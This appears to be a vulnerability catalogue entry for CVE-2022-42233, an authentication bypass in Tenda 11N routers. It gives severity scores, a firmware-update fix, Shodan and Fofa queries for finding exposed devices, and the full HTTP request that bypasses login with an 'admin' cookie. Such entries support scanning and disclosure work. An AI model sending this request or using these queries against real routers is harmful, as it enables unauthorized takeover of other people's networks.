| Title | Tenda 11N - Authentication Bypass |
|---|---|
| Author | For3stCo1d |
| Severity | Critical |
| Impact | Unauthenticated attackers can bypass authentication by setting an admin cookie to gain full administrative access to Tenda 11N routers, enabling complete device configuration changes and network compromise. |
| Remediation | Apply the latest firmware update provided by Tenda to fix the authentication bypass vulnerability (CVE-2022-42233). |
| CVSS Score | 9.8 |
| EPSS Score | 0.84385 |
| CVE ID | CVE-2022-42233 |
| CWE ID | CWE-287 |
| Shodan Query | http.title:"Tenda 11N"http.title:"tenda 11n" |
| Fofa Query | product=="Tenda-11N-Wireless-AP"product=="tenda-11n-wireless-ap"title="tenda 11n" |
| Tags | cve cve2022 tenda auth-bypass router iot vuln |
Tenda 11N with firmware version V5.07.33_cn contains an authentication bypass vulnerability. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
GET /index.asp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Cookie: admin
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-42233.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-42233.pcap
N/AN/A